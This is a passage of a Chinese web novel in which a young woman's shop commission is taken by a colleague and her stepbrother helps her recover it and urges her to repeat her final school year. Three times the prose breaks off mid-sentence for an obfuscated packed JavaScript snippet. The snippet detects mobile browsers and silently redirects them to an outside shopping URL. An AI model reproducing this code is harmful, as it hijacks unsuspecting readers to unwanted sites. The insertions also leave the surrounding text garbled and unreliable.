梁弛腿斜靠着书桌边缘,胯骨比书桌高出一大截,低着头,姿态闲散地从钱包里数了一千块的现金。 他钱包里的现金就只有一千多点,还有一张银行卡,卡里钱不多,都是他这几年一点点存的。 他在修车店的工时长,除了交学费和生活费还能攒下来一些,这也是他暑假还在修车店里,没去找对口实习的原因。 暑假实习和大四那年的实习不同,暑假实习工资很低,不包食宿,而大四实习相当于预入职,待遇会好很多。 梁弛把这一千块钱拿在手里,出神地想,等到大四实习或许就有钱让她复读了。 这个想法闪过的一瞬,他蹙起眉,真是闲着没事做了,才会有这种歪念头。 他抬手,把钱递过去,“工资发下来之前的生活费。” 梁鲸看着一千块,犹豫了,她原本没想过要借这么多的。 梁弛看她迟迟不接,索性直接把钱放在她的折叠床上,回过头看她:“不是白借,还的时候要给利息。” 梁鲸“昂”了声,眨着眼睛问:“利率多少?” “按银行的来。” “……我没从银行借过钱。” 梁弛哑声片刻,最后说:“你看着给。” 梁鲸默默把钱收起来装进书包里,只抽出一张放进衣服口袋。 晚上关了灯。 她躺在床上不太能睡着,找到工作的喜悦感褪去,更多的是不真实的感觉,像在做梦,她真的要去工作了,从学校走入社会,以后就不再是学生了。 梁鲸闭了闭眼,胸臆有些闷,她听到梁弛又叫了她的名字。 “嗯?”她疑惑,明明也没有翻身吵到他。 “明天记得充话费。”梁弛的声音在夜里显得格外沉,“你的手机打不通。” 10. 檐下雨 次日,梁鲸正式去上班。 工作内容和她昨天下午试岗时差不多,除了中午吃饭时间,全天都要站着。 到下午三四点那会儿,她小腿像灌了铅,又沉又酸,趁着此刻店里没客人,她稍稍靠在货架上,膝盖曲了曲,转转脚踝,肩背放松下来没挺那么直。 文姐经过看到,皱眉说她:“站没站相,被顾客看到像什么样子?” 梁鲸立刻站直。 年纪小又是初来乍到,她没什么底气反驳,只能压下那点委屈。 另外两个女生也注意到这边,互相交换一下眼神,等文姐走得远了点,她俩凑过来。 一个说:“你别放在心上,她那个人就这样,爱摆谱。” 另一个附和:“家里老公儿子都不听她的,在这里倒管上别人了,她又不是店长。” 两人压低声音说了两句,总结出一句话,“不过她确实资历最深,还是别起正面冲突,你就当她说的话是耳旁风,左耳进右耳出。” 梁鲸抿唇笑笑,和她们说谢谢。 听完她们的话,她心里沉坠的感觉轻了一点。 她是早班,下午六点下班,回到筒子楼差不多六点半,时间尚早。吃过晚饭,她也不急着休息,要等梁弛下班和他说说今天遇到的事,不愉快的事她不说,只挑开心的事。 一连几天都是这样,梁弛大多数时候安静听着,并不评价。 将近一周时间,梁鲸渐渐适应了工作节奏。站一天还是会累,但不像起初两天那么难熬。她学会了在没客人的时候整理货架、检查尺码、补货,来回活动着也没那么紧绷。 文姐的态度依旧不好,有时候她正在给客人介绍衣服,文姐会走过来,说“小梁还不熟悉流程,我来帮您结吧”,然后带着客人去收银台。 业绩记在文姐名下。 店长知道这事,私下跟她说:“文姐她老公不务正业,儿子也游手好闲,家里就靠她一个人撑着,也不容易。所以有时候吧……” 店长话没说完,梁鲸大概明白了。让她别计较太多。 梁鲸毕竟是刚来,她本身业绩不多,能被文姐抢走的也就相对较少,每次只有一两件衣服。 同在一个地方工作,抬头不见低头见,她没把事情闹大,不过她后来学聪明了,客人要结账的时候,她主动带着客人去收银台,不再给文姐机会。 文姐嘴上不说什么,只是更加不用正眼看她。 梁鲸表面若无其事,心里其实很不好受,不是因为这件事本身,而是想到以后很长一段时间都要和这样的人一起工作,她就感觉好难熬。 也许这就是社会教她的第一课,忍耐。 那天下午,店里来了几个女孩。 看起来和梁鲸差不多大,也是高中刚毕业的样子,几人穿着看不出牌子的衣服,面料光泽,剪裁妥帖,有两个女孩拎着的包,是她在一楼见到过的牌子。 她们化着精致的妆容,头发也是精心打理过的,说说笑笑地走进店里。 梁鲸当时在叠衣服,抬头看见她们,被那种青春洋溢的气息灼了一下。 文姐率先迎上去,满脸堆笑地说着欢迎。 那群女孩看了看她,大约是不太满意,其中一个棕栗色卷发的女孩环视一圈,看到梁鲸。 同龄人总是更好沟通一些,女孩说:“让她帮我们推荐吧。” 文姐眼底闪过一丝不情愿,但还是叫了梁鲸过来。 梁鲸走过去,笑着帮她们拿衣服、推荐搭配。她们试了一件又一件,对着镜子转来转去,找各种角度拍照,还让梁鲸帮她们拍了一张坐在沙发上的合照。 “这件好看吗?” “好看好看,你穿什么都好看。” “那件也拿着吧,反正我妈买单。” 梁鲸听着她们聊天,把她们试过觉得不合适的衣服又挂好,再把她们新看中取下来拿给她们试穿。 她就站在她们旁边,却像隔着另一个世界。 她们是顾客,她是店员,她们在逛街购物,她在打工,她们试衣服累了坐着休息,她要一直站着微笑服务。 “这件我也要。”一个女孩把一件连衣裙递给她。 梁鲸接过来,她的手指在布料上停留了一下,连衣裙是浅蓝色的,很漂亮,价签上的金额比她一个月工资还要高。 她的十八岁,是在给另外一群十八岁的女孩子当导购。 梁鲸轻轻吸气,又觉得自己矫情,这本来就是她的工作,服务其他的顾客没有这样,怎么到一群同龄人就开始伤春悲秋了。 有什么好伤感的,她应该感谢她们消费呢。 粗略一算,她们选的这些衣服,提成抵得过她三天工资了。 梁鲸把这件连衣裙挂好,同时记清楚她们选的其他衣服的尺码和货号,去库房取来新的,先用防尘袋装好,再放进纸袋。 梁鲸提着这些出来时,那个棕栗色卷发的女孩在试一件半身裙,她很瘦,货架上展示的s码对她还是有些宽松。 “这件有没有xs码?”女孩问。 梁鲸点头说有,“稍等,我现在就给您拿。” 她转身又去了一趟库房。 在沙发上坐着的另一个女孩接了个电话,跟其他几个女孩说:“我妈又要让我陪她去饭局,司机在楼下等着,我怕是不能再逛了。” 棕栗色卷发的女生也试累了,“算了,那件半身裙不要了,就这些去结账吧。” 文姐一直在关注这边的动向,那群女孩一看就是家境优渥,选衣服不看价格,还挑了很多。 她看准时机,笑着引导她们去收银台。 梁鲸再次从库房里出来时,那群女孩已经不在店里了。 文姐站在收银台前打单,看了一眼她手里拿着的裙子,轻飘飘的语气说:“放回去吧,客人不要这件了。” 梁鲸怔怔站在那里,“她们结账了吗?” 文姐似乎觉得这个问题可笑,“谁买东西不结账啊。” 梁鲸目光直直地看着她,“你明知道我问的是这一单业绩记在谁名下。” 文姐不看她,把打好的单子夹起来,答非所问地说:“这一单是我先迎接的。” “可这两个多小时都是我在接待。”梁鲸每个字都咬得很清楚,音量不高,声线听着稍微有些抖。 “那又如何。”文姐说完,转身去了别处整理衣服。 梁鲸还站在那里,胸口起伏着,脸色以肉眼可见的速度涨红,她重重地吸气呼气,手指攥着那条半身裙的衣架,攥得指节发白。 店长从后面出来,看见她的样子,连忙走过来,把她拉到员工更衣室,“你先休息一下。” 员工更衣室很小,不开灯的时候漆黑一片。 梁鲸蹲在角落里,蜷缩成一团,把脸埋进膝盖里,眼泪无声地涌出来。 更衣室不隔音,哭出声会被外边听到,她尽可能不发出声音,只有肩膀抖得很厉害,呼吸越来越急促。 胸口发闷,她捂住胸口,边哭边平复着呼吸。 她哭了一会儿,用纸巾擦干眼泪,把脸擦干净。店里没有卫生间,要去洗脸的话得去商场的公共卫生间,太远了,她不想去。 她对着更衣室的镜子照了照,眼睛和鼻尖都很红,能明显看出来哭过,她知道这样走出去不好,别人都会觉得她很奇怪。 但是没有办法,她不能待太久。 还没到下班的时间,她要继续出去上班。 她深吸一口气,拉开门,走出去。 文姐正在和店长说话,主要是为了解释两句,撇清责任。 梁鲸出来时只听到一句。 文姐嫌弃的腔调,“她刚刚那个样子吓我一跳,不会是有什么病吧?” - 晚上,梁弛回来。 房间里没开灯,以往梁鲸不会睡这么早,他把灯打开,看见梁鲸侧躺在折叠床上,背对着他。她把毛毯裹得很紧,连脑袋都裹住了,缩成小小的一团。 这显然不正常。 “梁鲸。”他叫她的名字。 毛毯底下的人没应声。但他看见她的肩膀轻微地动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458923|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,没有睡着。 “别捂那么严实,”他说,“很热,会呼吸不畅。” 房间里安静了几秒。 梁鲸把毛毯往下拉了拉,脑袋露出来了,只是依旧没回头。 “出什么事了?”梁弛问。 “没事。”梁鲸声音闷闷地回。 梁弛沉默许久,走近,低头看着她。他的影子覆在她身上,把她脸庞完全罩住了。 “你现在这样,”他说,“像是没事吗?” 阴影下,他看见她脸上模糊的泪痕。 她又哭了。 这次是因为什么? “工作不顺?”他问,大概也只有这个可能了。 “别问了。”梁鲸把脸埋起来,“我困了。” 梁弛果真没再问她。他按部就班地洗漱,关灯,坐在了床边。 夏夜燥热,月光在窗外轻轻晃荡。 梁鲸后背出了汗,身上那件用来当睡衣的、洗得褪色的短袖贴在背上,满室的昏暗成了一种保护色,令她得以松懈,她小心翼翼转了个身,变成平躺的姿势。 这样一来,她就看到坐在床边的梁弛。 她还以为他会躺下就睡。但他坐在那里,看不清面容,只能看到大致的轮廓,肩膀的线条绷着,一动不动。 “现在看不见,”他忽然开口,“能说了吗?” 梁鲸后背一僵,过了好一会儿,她缓缓从折叠床上坐起身。 没有照镜子,她也能猜想到此刻眼睛还是红肿的,鼻尖哭得很红,不好看。幸好现在他也看不到。 梁鲸不知道要不要说。 她回来之后已经哄过自己了,哄好了,吃了饭,之后又想起来,又开始难受。这算是很痛彻心扉的事吗?也并不。她就是觉得委屈。 一想到就委屈,就像现在,她又要流泪。 梁鲸咬着下唇,把眼泪逼回去,才轻轻开口:“今天有一单,我接待了两个多小时,业绩被人抢了……” “嗯,然后呢?” 他的声音很平静,像深湖,能承接住所有情绪。 “不是第一次了……”梁鲸说,“我没忍住在店里哭了,哭得很难受,她说我会不会有什么病。” 梁弛沉默了。 梁鲸接着说:“我反驳不了,我确实有病。我不知道明天去该怎么面对她们了,好丢脸啊,她们一定在背后说了我很多。哥,我该怎么办?” 她的声音还带着哭腔,断断续续的,像绵绵雨丝似的淋湿他耳畔。 她该怎么办? 梁弛没有立刻回答。 夜里不知名的虫鸣声一阵一阵的,刮进来的风也是温热的。他坐在床边,月光从窗户斜进来,落在他的膝头。 他想起了自己大一那年。 开学第二周,班里召开班会,目的是家庭经济困难学生认定的民主评议。 辅导员在讲台上念着他提交的申请表里的核心信息:“梁弛,幼年丧父,母亲改嫁后于今年病逝,现与继父无经济往来,独立户籍,无固定经济来源,目前通过兼职维持生活。” 一时之间,数道目光落在他身上。 同情的、探究的、看热闹的,像针一样扎在他身上。 他坐在课桌前,指甲深深嵌进掌心,痛楚反而微乎其微,随后渐渐松开手,脊背挺得愈直。 没什么好难堪的,他需要这笔钱,这是国家的补助政策,而他符合条件,一切都合理合规。 后来他回到筒子楼里,一个人躺在床上。 风吹起书桌上的笔记,纸张一页页翻飞,停在遒劲有力的一句:穷且益坚,不坠青云之志。 那时候他想,从今往后,他再也不要旁人用这种目光看他。 虽然情景不同,但今时今日,她因为钱的困顿和当年的他如出一辙。 那时候他没得选。 现在,她也没得选吗? 不是的。 她还有可以依靠的。 夜色沉沉,彼此无言许久。 梁弛说:“别去了。” 11. 檐下雨 别去了。 梁鲸在心底默念这三个字,很难说有没有一瞬间的动摇。只要不去了就不会有这些烦恼,就可以远离那些人,辞职成了直接轻松的解决办法。 可是辞职了又该怎么办?她还欠着梁弛很多钱,她自己也需要钱生活。 “不能不去。”梁鲸垂着眼说:“我要还你的钱。” 梁弛轻哼一声,“我又没说让你现在就还。” 他是没说过。虽然每一笔账分得很清,但他只说先欠着,没有关于归还的期限,他没催过她,是梁鲸自己想尽快还清。 她说:“可是总要还的。” 梁弛说:“那就等你还得起的时候。” 梁鲸沉默了。 隐约听出点话外音,那就是让她现在不用想这些,最起码不要因为想要还钱而左右了自己的选择。 她确实不想再去那里工作了,那样的环境令她压抑,当众情绪崩溃也成了她迈不过的坎。 十几岁的年纪里,一点波澜就是一场雨,轻而易举将一个少女淋得浑身湿透。 梁鲸手指绞着毯子边缘,又问:“那这几天工作的工资怎么办?” 她在那家店干了一周时间,工资加上提成,应该有七百块左右。对现在的她来说每一分钱都很重要,而且这是她凭借自己赚来的第一笔钱。 梁弛没有立刻回她,他躺下,手掌枕在后脑勺底下,目光无聚焦地盯着天花板。 房间里静悄悄。 梁鲸以为他睡着了,她也躺回去,后背刚贴在床上,就听到梁弛的声音。 “明天上午我带你去要。”他的语气沉静如水。 头顶风扇一直转个不停。 梁鲸躺在折叠床上,整个身体逐渐放松下来,胸腔里聚集着的那团气消散了,这一刻,她才觉得,自己真的被哄好了。 虽然他的方式不能称为哄,但切切实实比她下班回来那会儿自己哄自己要管用得多。 她再想起这件事,已经不想哭了。 次日,商场十点才营业。 梁弛请了半天假,九点多和梁鲸一起坐公交车去商场。 来到遂市三年,他知道这里有一座商场,算是地标性建筑,不是他能消费得起的地方。况且,他的生活被学业和兼职填满,根本没时间真正逛过这座城市。 今天,是他第一次踏足这里,为了给梁鲸要工资。 坐电梯到三楼,梁鲸远远就看到店铺里的门开着。店长和文姐都在店里,她看到她们,难免想起昨天的事,手心攥紧出了一层汗。 梁鲸微微抬头,看了看身旁的梁弛。 他身量很高,戴着一顶黑色鸭舌帽,眉眼隐在帽檐之下,无端显得深沉。 他步子走得稳,她跟着,手掌慢慢松了。 他们进到店里时还没客人,店长一看这架势,大概明白几分。 小姑娘在店里受了委屈,家里人来撑腰了。这种情况,尽量不要闹大,免得影响店铺生意和品牌形象。 店长笑脸相迎,明知故问:“小梁,这是怎么了?” 梁鲸抿了抿唇,“店长,我要辞职。” 店长脸上没有惊讶,意料之中,这种事换做是她,吵一架第二天照旧上班,但十几岁的小姑娘,阅历浅,承受能力有限。 她没为难,毕竟品牌小有名气,犯不着计较这点工资,又不是她出钱。 店长笑着回:“行,试用期随时可以走。工资的话,要等到下个月统一发,你把银行卡号给我,到时候财务统一打款。” 梁鲸迟疑着说:“我没有银行卡。” 她以前没办过银行卡,爸爸给她生活费都是现金,每天上学也没有要用银行卡的地方。 她偏过头,看了看梁弛。 梁弛旁观着她们的对话,直到此刻才上前。 “打到我卡上。”他报了一串数字,语速不快不慢。 店长猜想两人关系匪浅,没多问,拿了个本子把卡号记下来。 梁弛垂眸看着那串数字,确认无误后,他补充:“工资记得算上昨天那笔提成。” 店长手一顿,脸上的笑容僵了一瞬。 旁边,文姐在整理货架,实则一直在听着他们说话,到这一句,她按捺不住了,直接说:“那笔提成和她有什么关系?” 梁鲸听到这道声音,条件反射觉得胸闷,想到以后不用再见到,没必要维持表面和谐,她扭头,瞪了回去。 刚想开口,一双沉稳有力的手掌覆在了她肩膀上,幅度很轻地拍了两下。 和她情绪写在脸上不同,梁弛自始至终都是平静的,语调不高,字字清晰:“需不需要调监控看一下,那笔提成到底和我妹妹有没有关系?” 文姐脸色变了变,想要争辩,却在触及到梁弛近乎俯视的冰冷眼神时,哑了声。 “又不是什么大事,哪用调监控。”店长连忙打圆场:“这样吧,那笔提成一人一半。” 在她看来,这已经是退了一步,这两人应该见好就收。 梁鲸嘴唇动了动,却没发出声音,这种时候,两个人都发表意见反而显得混乱。 似有默契,下一秒,梁弛出声。 “和稀泥解决不了问题。”他点明了店长的意图,“如果没有让我们满意的解决方案,我不介意在这里等,亦或是向你们总部发邮件投诉。” 店长抬眼,方才只是粗略一看,现在才认真打量着这个二十出头的年轻男人。 不得不说,气质很独特,没有这个年龄的青涩与鲁莽,没有据理力争的急切,他是冷静平淡的,甚至可以说游刃有余。 他提出的这两点,正是她最怕的。 一直等在这里太影响生意了,投诉总部等于把事情闹大。 店长深吸一口气,换上职业微笑:“不用那么麻烦,那笔提成全都划给小梁好了。” 梁弛没再说话,而是看向梁鲸,似乎在用眼神问她,这个结果她可以接受吗? 梁鲸轻轻点头。 问题既然已经解决,梁弛也不打算多待,起身往外走,梁鲸连忙跟上他。 他们没走两步,身后便传来一句。 “身体不好还出来上什么班。”文姐忿忿不平,音量不低,有意膈应他们,“小姐身丫鬟命。” 那六个字像针一样,刺在梁鲸后背上,她脚步顿住,一时之间难以挪动。 梁弛也听到。 他先是看了看梁鲸,叫她的名字,她没应。他蹙起眉,却不是走向她,而是又回到了店里。 他稍稍抬了抬下巴,面色如常,语调也不曾变,“如果因为上班就说我妹妹是丫鬟命的话……” 他顿了一下,看向方才说话的女人,忽地笑起来,“那一直在这里工作的你,又算什么?” 话里的意思不言而喻。 文姐顷刻之间脸涨得通红。 梁弛懒得再给她眼神,转身又叫了一声梁鲸,说:“走了,回去。” 电梯来到一楼。 离开这座商场之前,梁弛在门口停步,回首望向一楼各大奢侈品专柜。 灯光璀璨、富贵晃眼,橱窗里陈列着的商品和他只隔着一道明亮的玻璃,它们就安安静静地摆在那里,明晃晃地告诉他阶级的差异。 他沉默着,眉目愈凝愈深。 梁鲸不知他在想什么,“哥?” 梁弛回过神,压低了帽檐。 只是,帽檐遮不住少年的自卑,也盖不住少年的野心。 - 只有半天假,梁弛没回筒子楼,直接去了修车店。梁鲸不太想一个人回去,就问他,能不能和他一起去修车店。 梁弛默了一息,同意了。 午饭就在修车店附近的面馆吃,梁鲸还没有来过这一带,紧紧跟着他。 吃完面,梁弛领着她去修车店。 没等别人问,他言简意赅地介绍:“我妹。” 之后跟梁鲸说:“那边有凳子,你自己找个地方待着。” 梁鲸“嗯”一声,搬来凳子,找了一个风扇能吹到的位置坐下。 梁弛换完工装出来,就看到她跟个小学生一样,板板正正地坐在凳子上,衬衫扣子系到最后一颗,手掌搭在膝盖上。 身旁有人说了句:“你妹妹看着好乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458924|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” 梁弛睨了那人一眼,那人悻悻收声。 有一辆车开进来,代表来活了,梁弛戴上手套,莫名又往她的方向看去,忽然有些后悔答应她过来。 夏日午后总令人昏昏欲睡。 梁鲸揉了揉眼睛,托腮看着梁弛工作。他站在车头前,弯腰的角度很大,工装布料绷在肩背上,能看出肩胛骨的轮廓。 她觉得这一幕似曾相识。 她初一那年,学校办运动会,她不参加任何项目,安静地待在自己班级的区域,看向赛道上那些奔跑的身影,阳光很好,操场一片喧闹,广播里在念加油稿,声音大得刺耳。 她心里产生些许羡慕,到比赛结束时,发酵成了落寞。 因为运动会,放学比平时要早。 妈妈那段时间找了工作,通常下班来接她,今天就不凑巧了,于是让梁弛接她放学。 他骑着一辆机车来的,在学校门口很显眼,来来往往有不少同学往那边看。 梁鲸不习惯被人关注,再加上情绪不高,耷拉着脑袋朝他走过去。 梁弛把头盔给她,她慢吞吞接过。头盔在她手上,还没戴上,又被他抽走。 梁弛调子冷淡:“既然这么不情愿,那你自己走回去好了。” 梁鲸愣了下,连忙摇头解释:“不是的,没有不情愿,我只……” 她不知道该怎么说。 梁弛注视着她,见她半天没有下文,他扯了扯唇,把头盔套在她脑袋上。 之后,梁鲸第一次坐在机车后座,不敢扶他,只能使劲抓住他的衣服。 下车的时候,梁弛看着被抓皱的衣角,挑眉:“回家你给我洗。” 梁鲸讷讷应了声好,取下头盔才发现,他没有送她回家,而是带她去了一家机车行。 她当时也安静坐在角落里,忐忑不安,怀里抱着书包,谨慎地盯着每个人。 梁弛和他们说话,但不理她。 等到天色彻底暗了,妈妈回家没看到人打来电话,梁弛接通后把电话递给她,居高临下地说:“告诉你妈,你现在要不要回去。” 这话听着好别扭。梁鲸接过手机,小声地说:“妈妈,我跟哥哥待在一起呢,晚会儿再回去。” 妈妈仍不放心,叮嘱了她好几句。 电话一挂,梁弛却没走,盯着她,蓦地笑出声。 梁鲸到现在也不太明白那个笑是什么意思。 太阳一点点西移,时间流逝。 中途梁鲸困得不行,脑袋趴在膝盖上眯了一会儿,这个姿势不太舒服,她醒了之后腿麻了,后背是僵的。 她缓缓站起来活动了一下。 梁弛看到,扔了一瓶水给她。 晚饭也是在附近吃的,吃完饭一直等到晚上十点钟,梁弛换下脏了的工装,很迅速地洗干净晾起来,才穿着自己的衣服离开。 修车店离筒子楼不算远,他们是走路回去的。 两人一前一后走着,梁弛让她走在前边。 梁鲸走着走着,回过头看他,“哥,工资打到你的卡上,就当我先还给你的。还有你借我的一千块,剩下八百多,等回去了我也还给你。” 又在跟他算账。 梁弛站在路灯底下,顶光打下来,他的眼睛陷在阴影里,分不清是眉骨的影还是睫毛的影,慢悠悠地说了句:“你傻吗?一分钱也不留。” 梁鲸稍怔,她只想着快点把钱还给他,忘记她确实也需要一部分留作生活费,用于之后工作时的开销。 “那这笔钱先不还。”梁鲸说,“等我之后找到工作再还给你。” 这个工作做不成,她总要再找别的工作,梁鲸已经在考虑明天要去哪里找工作了。 夏风若有似无地吹过,梁鲸的发丝扬起来又落下去,她继续往前走。 梁弛也没再说话,一路沉默。 到了筒子楼,她上楼,到楼梯拐角处发现梁弛还站在楼道里,特别暗,他的身影也像融于夜色中。 她分辨了一下,才问:“怎么了?” 梁弛仰起头,看着她说:“别去找工作了,复读吧。” 12. 檐下雨 梁鲸站在楼梯拐角,手扶着栏杆。 房子太老,楼道里没有灯,他们看不到彼此的脸,不知道对方是何表情,只知道周围过分的安静,其他住户可能已经休息了。 这种安静持续了将近两分钟,之后,梁弛抬步上楼,梁鲸听到他的脚步声,也缓缓往前走。 回到房间,灯打开。 梁鲸眼睫低垂,轻轻叹息一声,“复读哪有那么容易。” 这句话像说给她自己听。 复读需要钱,她现在哪来的钱。 “钱的问题。”梁弛稍顿,轻描淡写:“反正已经欠很多了,再欠一笔又如何?” 但梁鲸清楚,不是简简单单的一笔。 她默默在心里算了一笔账,复读一年,复读的学费、期间的生活费,全都是只出不进,她都要伸手问梁弛要。 然后会有两种结果,要么考不上,要么考上,考上的话还有四年的学费和生活费,她做不到像梁弛一样兼职赚钱养活自己。 或许可以申请助学贷款,学校也会有奖学金,可是真的够用吗? 还有她的药。 爸爸没有告诉过她药的具体价格,但能让爸爸铤而走险,想必不会是小数目。 不是一笔,是很多很多,就像一个无底洞。 她还不起。 梁鲸沉默了。 梁弛读懂这瞬间的沉默,低头看了看她,她脑袋垂得很低,只能看到一点鼻尖,小巧圆润。 他别过脸,还是那副漫不经心的口吻,“债主都不急,你急什么?” “我没急。”梁鲸深呼吸,缓慢抬头,“哥,我是很想复读,但是我不想你因此很辛苦。” 就像如果可以重新选,她宁愿不用效果好、副作用低的原研药,也不愿看到爸爸锒铛入狱。 而现在,她面前的这个人,她叫他哥,实际上,他也不过二十出头的年纪,大学还没毕业,这个担子对他来说太沉重了。 梁弛拉开书桌旁的椅子,坐下,长腿随性地放着,略微抬头看她:“自己都管不好,还操心别人?” 真话听着刺耳,梁鲸眼皮耷拉下来,不吭声了。 梁弛没等到她下文,后背一仰,靠在椅背上,他没看她,眼神空泛地盯着窗外,语调缓了下来:“梁鲸,做什么选择都是自己在承担后果。” 他说:“我选完了,该你了。” 窗外黑沉沉的,估计整栋楼也就这间屋子在亮着灯。在这样一个夜晚里,在这样狭小的房间里,他们并不看彼此,只有余光难以避免地交汇。 梁鲸听出来他的意思。 就算辛苦,那也是他选择要承担的后果。 “我……”她欲言又止。 做出一个重要的抉择总归不是一件容易的事。 “你想清楚。”梁弛说。 那晚后来,他也没有听到梁鲸的回复。 关了灯躺在床上,前半夜难以入睡,反思自己到底是什么时候产生了让她去复读的念头,他说不清,只能确定不是一时兴起。 为什么要管她? 他应该厌恶她,冷眼看她有多落魄,但现在,他完全违背了一开始的想法。 他想不清楚,于是翻了个身,把脸埋进枕头里。 此刻,他脑海里浮现的是母亲林禾的脸,以及她抱着襁褓里的女婴,对着年幼的他说“妹妹呢,就是你要一辈子保护她,一辈子对她好的那个人”。 这句咒语,经年累月,终于在今时今日应验了。 梁弛闭上眼睛。 小鱼,你到底有什么魔力?把我变成了和我母亲一样的人。 他不再去想,曲起膝盖,宛如在母体中蜷缩的姿势,等待着,等待无法抵抗的宿命的降临。 - 次日早上,梁鲸醒得很早,她躺着没动,等梁弛起来了,才站起身,把折叠床收起来。 昨晚她很晚才睡着,想了很多。想到了去世的妈妈,想到了入狱的爸爸,还有她骗爸爸说考上大学了,最后想到了梁弛的话。 她能承担选择的后果吗? 直到入睡她都没有想出答案,但是有人在等她做决定,于是她遵从自己的内心。 梁鲸深吸一口气,叫了声:“哥。” “想清楚了?”梁弛问。 “嗯。”梁鲸郑重地点了点头,“我想复读。至于欠你的钱,我短时间还不清了,但是等以后,我一定会还给你的。” 梁弛反应平淡,“哦”一声,表示知道了。 他靠在门框上等她。 梁鲸长长舒气,去卫生间洗了把脸出来,跟着他一起出门,下楼时她接着说:“暑假还有一个多月时间,我打算再找个工作。” 她想着能赚一点是一点,能减轻些经济压力。 梁弛看她一眼,“没必要。” “怎么会没必要……” 梁鲸要说什么,话已经被梁弛截住。 “你以为暑假工很好找?”他反问她,却又不给她回答的机会,“除了进厂,哪个地方招只工作一个多月的?进厂十二小时连班倒,你能行?” 梁鲸被说得哑口无言。 梁弛说:“别瞎折腾了,好好复习吧。” 梁鲸安静了好半晌,最后气馁地低下头,小声说:“哦,那我不找了……” 早餐依旧是在楼下吃的,那家早餐店里边坐满了,在外边支了几张桌子。清晨的燥意还不明显,两人面对面坐着。 梁弛吃完要走,交代她先回去自己复习。 梁鲸迟疑了下。 当初离开时行李箱空间有限,只能带一些必需品,高中教材太多了,她根本不可能全部带走,况且仓皇之下,也没考虑到要复读。 “我没有复习资料……”她说。 梁弛这里也没有高中课本,他当初离开时,几乎可以说孑然一身。 他顿了下,“你先回去,我想办法。” 梁鲸应了一声好。 又觉得不能就这么回去待着,得做些什么,不然太像白吃白住。虽然说是欠他的会还,但彼此心知肚明是很遥远的事。 屋子小,梁弛习惯把东西摆放得很整齐,卫生没什么可打扫的,他的衣服都是自己洗完澡顺手就洗了。 她想了想,试探性地说:“哥,以后我来做饭吧。” 梁弛回过头看她,“我中午和晚上都在店附近吃。” “那我给你做早饭?”梁鲸说,“这样也能省一笔。” 梁弛轻嗤,“你每天起得比我还晚。” “……” 梁鲸脸腾地一热,“那我还是做午饭和晚饭吧,你回来吃,行吗?” 昨天从修车店回来,她就发现了距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458925|201250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离不算太远。他从暑假起就全天待在修车店,中午和晚上不回来吃饭可能是因为时间紧,要是她提前做好饭,能省去很多时间。 她的眼神很诚恳,看着他。 不是出于讨好,而是想做些什么让自己的亏欠感没那么重。 梁弛看她几秒,眉梢略挑,留下一句,“别太难吃。” 这就是答应的意思了。 梁鲸回到筒子楼,上午时间把房间简单打扫了下,这里擦擦那里扫扫,弄完将东西都放回原位。 又把她的衣服洗了洗,依旧是挂在梁弛的衣服旁边,挂的方式也和以前一样,内衣夹在两件衣服中间。 临近中午,梁鲸把面煮好,还是干挂面加青菜和鸡蛋,她自认为算是营养均衡。 梁弛从修车店回来,先看到挂在外边的衣服。晴空万里,晾衣绳上挂着几件他的和她的衣服,有风吹过,轻轻晃荡一下。 她那几件衣服挨得很近,这次,他没有抬手拨开。 衣服挡得严实,没有真切看到,可眼前不由自主浮现薄薄的、小的布料。 梁弛皱起眉,快步开门进屋。 房间里乍一看没什么区别,所有东西都在原位,仔细看,好像都擦过一遍,看不到一丝落尘。 阳台的门半掩着,只能看见她半个身子,穿着一件亮色的短袖,下摆刚盖过腰,腿上是一条宽松的五分裤,露出纤细的小腿,脚踝看起来还没有他的手腕粗。 她听到动静,从门内探出来,“回来啦,面已经煮好了,我给你盛。” 语调听着很轻快。 梁弛感觉不适应,这不应该是他们之间的相处模式。太过和谐了,仿佛一对普通兄妹,但他们明明不是。 “不用了,我自己来。”梁弛说。 他走进厨房才开始后悔。 这里太小了,转身都费劲,完全容纳不了两个人,她的后背几乎要贴着他。 她似乎也感到局促,肩膀缩着,身体微微前倾,想转身又不敢,最后像只螃蟹一样横着缓慢挪出去。 梁弛低头看着锅里的面,清汤寡水,他什么也没说,盛了一碗。 修车店午休只有一个小时,包含了他来回路上和吃饭的时间,很紧凑。 他吃完,梁鲸主动说:“我来洗碗吧。” 梁弛顿了片刻,没动,任由她把碗收走。 梁鲸走到水池边,她先洗碗,用海绵认真擦洗,又用清水过了一遍。 刚才一直没问,这会儿有点忍不住了,她问他:“味道还行吗?” 